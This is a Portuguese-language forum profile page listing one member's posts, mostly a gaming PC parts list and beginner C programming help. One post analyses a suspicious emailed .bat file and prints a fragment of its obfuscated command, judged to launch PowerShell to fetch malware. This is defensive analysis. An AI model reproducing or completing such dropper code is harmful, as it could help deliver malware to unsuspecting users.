Ir ao conteúdo
  • Cadastre-se

Fernando Mercês

Membro VIP
  • Posts

    2.306
  • Cadastrado em

  • Última visita

posts postados por Fernando Mercês

  1. Aí amigos, o que acham?

    • Processador AMD Ryzen 5 1600, Cache 19MB, 3.2GHz (3.6GHz Max Turbo), AM4
    • Placa-Mãe Gigabyte B450M DS3H, AMD AM4, mATX, DDR4
    • Placa de Vídeo Asus Arez Dual AMD Radeon RX 580 OC Edition, 8GB, GDDR5 - AREZ-DUAL-
    • Memória Corsair Vengeance LPX, 16GB (2x8GB), 3000MHz, DDR4, CL16, Preto
    • SSD Kingston A400, 480GB, SATA, Leitura 500MB/s, Gravação 450MB/s
    • Fonte Corsair 650W 80 Plus White VS650 - CP-9020172

    R$ 4.774,13 já com o frete. Aí depois me viro com teclado, mouse, gabinete, etc...

     

    Parece ok pra vocês? Tipo, tudo compatível? :)

     

    Abraço e obrigado pela ajuda!

     

    • Curtir 1
  2. Salve, galera, tudo bem? Tempo que não venho aqui, mas não conheço comunidade melhor no que diz respeito à hardware. 🙂

     

    Hoje eu quase comprei essa oferta, mas vi uma galera aqui dizendo pra não cair nessas lojas de prateleiras. Só que eu tô ultra, mega desatualizado do que tá rolando no mundo do hardware e por isso vim pedir a ajuda de vocês para montar um PC para jogos que eu não precise trocá-lo por pelo menos um ano e meio, dois. Será que com uns 4 mil daria pra rodar um Fortinite no máximo? Queria garantir que a próxima versão desse jogo rodasse, por exemplo.

     

    E onde vocês compram atualmente? Online mesmo? Quando eu montava eu comprava na A1 Network Trading mas fui ver e nem existe mais. Que bom, pois demorava mais de um mês pra chegar num container chinês. kkkk

     

    Grande abraço!

  3. Tá bem legal, cara. Parabéns! Já tá bem menor né? :)

     

    Quer parar por aí? Porque eu tenho mais sugestões! haha

    • Como você tá inicializando o array, não precisa dizer quantos elementos ele terá. O compilador calcula pra você, mas você vai ter que usar a notação de ponteiro junto, ficando *mes_por_extenso[].
    • Se você reparar, o mes-1 bate com a posição da string certa no array então você não precisa do loop. Se você fizer mes_por_extenso[mes - 1] já vai funcionar sempre, percebe? Se o mês é Março (3), por exemplo, vai pegar a posição 2 do array (mes - 1), sem precisar do laço.
    • Dá pra fazer tudo na main().
    • O retorno da main() é interessante que seja int. Aí você põe um return 0 no fim dela.
    • Você não precisa mais da string.h nem da stdlib.h.
    • Você não precisa mais dessa char data[11] também, porque agora já tá lendo direto para os inteiros com a scanf().
    • Como int é o tipo padrão do C, você não precisa informá-lo ao declarar uma unsigned. Dá pra declarar todas com uma só linha também: unsigned dia, mes, ano;

     

    Enfim, seu código tá muito legal. Só tô seguindo com as sugestões porque to admitindo que você tá curtindo implementar. Não encare como crítica, ok? Em programação existem infinitos jeitos de se resolver um problema e não tem essa de certo e errado a meu ver.

     

    Grande abraço!

    • Amei 1
  4. Verdade. E ó, olhando bem esse programa dá pra ser muito pequeno. hehe

     

    Acho importante você seguir com sua linha de raciocínio, mas depois que terminar, vale observar essas sugestões minhas e do @isrnick. Tenho mais algumas ó:

    • Usar unsgined int ao invés de int, já que todos esses inteiros aí não podem ser menor que 0 (dia, mês, ano). Isso vai requerer o modificador %u ao invés do %d.
    • Criar um array de strings para os meses e depois exibir diretamente o mês correto usando array[mes - 1]. Teu código vai ficar bem mais limpo, rápido e você vai economizar 12 if's/switch's.
    • Adicionar um tratamento de erro para dia/mês inválido.

    Abraço!

  5. Em tempo, você pode usar o %d pra ler direto um inteiro usando a scanf(), assim você não precisa ficar convertendo de string:

    #include <stdio.h>
    
    int main(int argc, char *argv[]) {
    
    	int dia, mes, ano;
    
    	scanf("%d-%d-%d", &dia, &mes, &ano);
    	printf("dia: %d\nmes: %d\nano: %d\n", dia, mes, ano);
    
    	return 0;
    }

    Veja:

    $ ./data
    17-05-2018
    dia: 17
    mes: 5
    ano: 2018

    Valeu! :wiggle:

    • Curtir 2
  6. De fato, nenhuma extensão "é vírus" por si só, mas este arquivo está bem estranho e acho que ele perdeu a formatação quando você colou seu conteúdo aqui no fórum. De repente se você editar e usar um bloco de código (botão <>) vai melhorar. Ou você poderia comprimir este arquivo com uma senha e anexar aqui (mas não sei se o fórum ou suas regras permitem).

     

    Bem, eu fui ajustando o arquivo aqui e realmente ele tenta executar algo:

     

    C:\Windows\System32>Set data= ZPC(" 7Pl(a Pn-WO TIXm aPm.Q IOrsZ Ia ).  4nas 4f
    1  GZUq( 'p    1:// hzg.I hZ4qI .r4g/ ?hghZ dHM8S AS  7 ThEWp DOJni  7o s qB KS
    drIk6 Lma9z wxsjO ahikQ 1nvb0 4V x7 MHI6N Td/ n gpXr  kPi4q TDz7+ MOr+/ NrmtL A3
    kSJ  Tl K zQ='; )"); echo %data%  | nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI -a4  -
    QZa k
    'nZah4Q1t4QIDEpIzz\dk.j\' is not recognized as an internal or external command,
    operable program or batch file.

    Parece ter algum bug, ou eu não descobri ainda como desofuscar totalmente. Somando essa clara intenção de ocultar o que o script faz com o fato de receber um .bat anexo num e-mail, eu diria que não é confiável e tem grandes chances de ser vírus mesmo.

     

    UPDATE: Pelo padrão depois do pipe (|), deduzi que este .bat chama o PowerShell e parece que eu estava certo. A string nZah4Q1t4QIDEpIzz\dk.j\ 4QID1pIzz.ICI parece ser decodificada para WindowsPowerShell\v1.0\PowerShell.exe, que tá embaixo da %SystemRoot%\System32, o que bate com o primeiro comando deste .bat. Ou seja, este .bat de fato chama o PowerShell, provavelmente para baixar um malware (ainda tem o padrão parecido com uma URL em 1://), o que me faz pensar que este .bat é um dropper/downloader. Se você tiver o arquivo intacto do jeito que recebeu posso tentar ajudar mais.

     

    Abraço.

    • Curtir 2
  7. A função isdigit() tá no header ctypes.h e não em stdlib.h, logo, segundo o enunciado do seu exercício você não pode usar. Parece que parte do que seu professor está pedindo, é justamente implementar uma função análoga, não usar uma pronta. Pelo menos é o que faz sentido pra mim, já que isso é um exercício. Você vai precisar entender a tabela ASCII pra fazer isso, creio. ;)

     

    Abraços,

    Fernando

    • Curtir 1
  8. Tamo junto! ;)

     

    Eu acho que a mensagem LB_ADDSTRING só deixa adicionar um item mesmo (que acaba na quebra de linha). Acho que você vai ter que chamá-la várias vezes. Por isso falei da fgets(), que você chama várias vezes também, aí lê linha por linha e já fica pronto pra passar pra SendMessage(). Ou fscanf()?

     

    Pra ser honesto, não sei qual a melhor solução pro seu caso. Cada item vai estar numa linha? Em qual formato? Sorry, eu raramente trabalho com arquivos de texto. :(

    • Obrigado 1
  9. É que abrir é diferente de ler. Até agora, pelo que vi no seu código você só abre os arquivos, não lê seu conteúdo. Pra ler tem que usar ReadFile() ou fread(). ;)

     

    Por exemplo, se você fizer assim, vai funcionar:

     

    			case IDC_BUTTON_LIST:
    				{
    			
    					estoque = fopen ("estoque.txt","r");
    					char buff[255];
    					fread(buff, 1, 255, estoque);
    					SendMessage(gProductList, LB_ADDSTRING, 0, (LPARAM)buff);
    					fclose(estoque);
    				}
    				break;

    Só que isso não tá bom, nem certo. rs

     

    O lance é que ler linhas em C é chato mesmo. Acho que mais coerente seria usar a fgets() e você tem que saber o tamanho máximo da linha, de qualquer forma. ;)

     

    Mas eu ainda acho que a API do Windows pura poderia fazer tudo. Bem, tu que sabe...

     

    Abraço!

    • Amei 1
  10. Seguindo a lógica que você seguiu, teria que usar a fread() antes de fechar o arquivo com a fclose(). No entanto, tem conceitos misturados aí. Você tá usando as funções da API do Windows e misturando com as da biblioteca C padrão (fopen(), fread(), fclose(), etc). Seria mais legal usar as do Windows mesmo (CreateFile(), ReadFile(), WriteFile(), CloseFile(), etc), mas claro, nada impede de você seguir na sua lógica. :)

     

    Aqui tem um exemplo usando as funções do Windows: Opening a File for Reading or Writing, mas vê aí que a gente se ajuda por aqui. ;)

     

    Abraços!

    • Curtir 1
  11. Acho que o problema é que o @rogério dos santos araujo matou a antiga main() do programa quando colocou o código dele e agora ela termina sem o programa chamar as outras funções. Eu não sei como é a main() original, mas aparentemente algo assim resolveria:

    int main(int argc, char *argv[] {
    
      FILE *fp = fopen("C:\\arcade\\arcade1.exe", "rb");
    
      if (fp == NULL) {
          printf("Game over\nTry again\n");
          exit(1); // o melhor é sair com 1 neste caso, pois é erro...
      }
      fclose(fp);
    
      return os_main(argc, argv);
    }

    Se não rolar, posta o código original aqui. Se puder usar o https://pastebin.com melhor ainda, pois é bem grande pra ver no espaço deste tópico (tem highlight de C lá!). :)

     

    Abraço!

    • Curtir 1
  12. Opa,

     

    Você precisa instalar o pacote libncurses-dev, que tem a curses.h. E faltou informar para o gcc o nome do seu programa (do seu arquivo .c):

    $ sudo apt-get install libncurses-dev
    $ gcc -o lerub lerub.c -lncurses

    Em tempo, é bom se acostumar a usar as opções -W e -Wall do gcc pra ver se tem mais erros no programa. Veja:

    $ gcc -W -Wall -o lerub lerub.c -lncurses
    lerub.c: In function ‘main’:
    lerub.c:36:59: warning: unused variable ‘c’ [-Wunused-variable]
                                                           int c = getch();
                                                               ^
    lerub.c:8:10: warning: unused parameter ‘argc’ [-Wunused-parameter]
     main(int argc, char *argv[])
              ^
    lerub.c:8:22: warning: unused parameter ‘argv’ [-Wunused-parameter]
     main(int argc, char *argv[])
                          ^
    lerub.c: In function ‘finish’:
    lerub.c:45:24: warning: unused parameter ‘sig’ [-Wunused-parameter]
     static void finish(int sig)
                            ^

    Tem várias variáveis não utilizadas em seu código. Se você ainda tiver desenvolvendo e for utilizá-las mais tarde, tudo bem, mas se não, pode removê-las. :-)

     

    Abraços!

     

     

  13. Não é bem erro, mas assim você está "roubando" rsrs. Isso porque seu programa em C chama o comando tasklist, e este faz o trabalho. Imagino que o seu professor tenha pedido é pra usar a Windows.h, como o início do tópico sugere e se você entregar assim, pode ganhar zero porque não fez o que ele pediu ou 10 por ter "pensado fora da caixa", não sei. rs

     

    Um exemplo de uso da EnumProcesses() pode ser visto aqui. Veja que ela não resolve tudo, é preciso mais código para de fato imprimir uma lista com nomes e PIDs dos processos. Tem mais sobre o assunto em Process Enumeration.

     

    Abraços!

    • Curtir 1
  14. Não entendi como você não sabe. Não seria só olhar a sintaxe que precisa ser traduzida? O que você colocou pra gente deve fazer parte do enunciado. A sintaxe é o que você deve olhar e, se meu chute está certo, deve estar em portuguol e você precisa traduzir para inglês e depois pra C, tipo:

    escreva("Olá, Mundo!")  // portugolwrite("Olá, Mundo!")    // inglêsprintf("Olá, Mundo!\n") // C

    Pseudocódigo em inglês é diferente da sintaxe de C, mesmo que ambos sejam em inglês. Tem um exemplo de um while aqui.

     

    Mas enfim, você mais do que eu sabe o que o seu professor quer. ;)

     

    Abraço.

    • Curtir 2
  15. Opa, tudo em paz?

     

    Dá uma olhada no manual da função scanf. Lá fala sobre o retorno dela:



    Return Value

    These functions return the number of input items successfully matched and assigned, which can be fewer than provided for, or even zero in the event of an early matching failure.



     

    Ou seja, ela retorna no número de entradas que casaram com sucesso com o formato. No seu caso você só pediu uma entrada (%d), então ela tem que retornar 1. Se o retorno for diferente disso, falhou. ;)

     

    Abraços.

    • Curtir 1
  16. prog.c:18: warning: ignoring return value of ‘scanf’, declared with attribute warn_unused_result

    Amigo, isto não é um erro, é um aviso (warning). Só está dizendo que você está ignorando o retorno da função scanf(). Você tem algumas opções para resolver isso:

    - Desativar essa opção warn_unused_result no compilador.

    - Usar o retorno da scanf(), que é um inteiro em algum lugar ou variável.

    - Fazer um cast para void do retorno.

    Se escolher a terceira opção, ficaria:

    (void) scanf("%i", &aceitar);

    Abraço!

    • Curtir 1

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...

Ebook grátis: Aprenda a ler resistores e capacitores!

EBOOK GRÁTIS!

CLIQUE AQUI E BAIXE AGORA MESMO!